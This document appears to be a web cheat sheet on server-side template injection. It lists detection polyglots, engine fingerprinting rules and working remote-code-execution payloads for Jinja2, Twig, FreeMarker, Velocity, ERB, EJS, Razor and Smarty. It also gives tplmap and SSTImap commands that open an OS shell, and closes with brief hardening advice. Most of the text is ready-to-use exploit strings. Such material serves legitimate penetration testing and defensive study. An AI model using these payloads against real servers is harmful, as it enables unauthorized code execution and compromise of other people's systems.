โ† All cheat sheets

SSTI

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Server-Side Template Injection happens when user input is concatenated into a
template that the server then renders, letting an attacker inject template
syntax that the engine evaluates -- often leading to RCE. Test on systems you
are authorized to assess.

DETECTION#

Submit polyglot payloads and watch for evaluation (math being computed):
  ${7*7}  {{7*7}}  <%= 7*7 %>  #{7*7}  ${{7*7}}  @(7*7)
  {{7*'7'}}        # Jinja2/Twig -> 7777777 ; Twig -> 49
If 7*7 renders as 49 (or 7777777), the input hits a template engine.

Decision tree (PortSwigger): start with ${{<%[%'"}}%\ -> observe errors, then
branch by which payload evaluates.

ENGINE FINGERPRINT#

{{7*7}} = 49        -> Jinja2 (Python) or Twig (PHP)
{{7*'7'}} = 7777777 -> Jinja2    ; = 49 -> Twig
${7*7} = 49         -> FreeMarker / Smarty / JSP EL / Mako
#{7*7} = 49         -> Ruby ERB-ish / slim
<%= 7*7 %> = 49     -> ERB (Ruby) / EJS (Node)
@(7*7) = 49         -> Razor (.NET)
{7*7} no eval, {{7*7}} eval -> handlebars/mustache (logic-less, usually safe)

JINJA2 / TWIG (PYTHON / PHP) RCE#

Jinja2 (Flask) classic:
  {{ ''.__class__.__mro__[1].__subclasses__() }}            # enumerate classes
  {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
  {{ cycler.__init__.__globals__.os.popen('id').read() }}
  {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
  {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
Twig (Symfony):
  {{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}
  {{ ['id']|filter('system') }}

FREEMARKER / VELOCITY / JSP (JAVA)#

FreeMarker:
  <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
  ${"freemarker.template.utility.Execute"?new()("id")}
Velocity:
  #set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")

ERB / EJS / RAZOR / SMARTY#

ERB (Ruby):   <%= `id` %>   /   <%= system("id") %>   /   <%= IO.popen('id').readlines() %>
EJS (Node):   <%= process.mainModule.require('child_process').execSync('id') %>
             #{root.process.mainModule.require('child_process').execSync('id')}
Razor(.NET):  @{ System.Diagnostics.Process.Start("cmd.exe","/c id"); }
Smarty(PHP):  {system('id')}  /  {php}system('id');{/php}  (older)  / {Smarty_Internal_Write_File::writeFile(...)}

TOOLING#

tplmap -u 'http://host/page?name=*'              # detect + exploit, --os-shell
tplmap -u 'http://host/' --data 'name=*' --os-shell
SSTImap (maintained tplmap successor): python ssti.py -u 'http://host/?q=*'
Burp: send to Intruder with the polyglot list; grep for 49 / 7777777 / errors.

HARDENING (blue-team note)#

- Never pass user input as the template; pass it as DATA (context variables).
- Use logic-less engines (mustache/handlebars) or sandboxed modes.
- Jinja2: use SandboxedEnvironment; disable dangerous attributes.
- Treat template errors as sensitive; don't reflect them to users.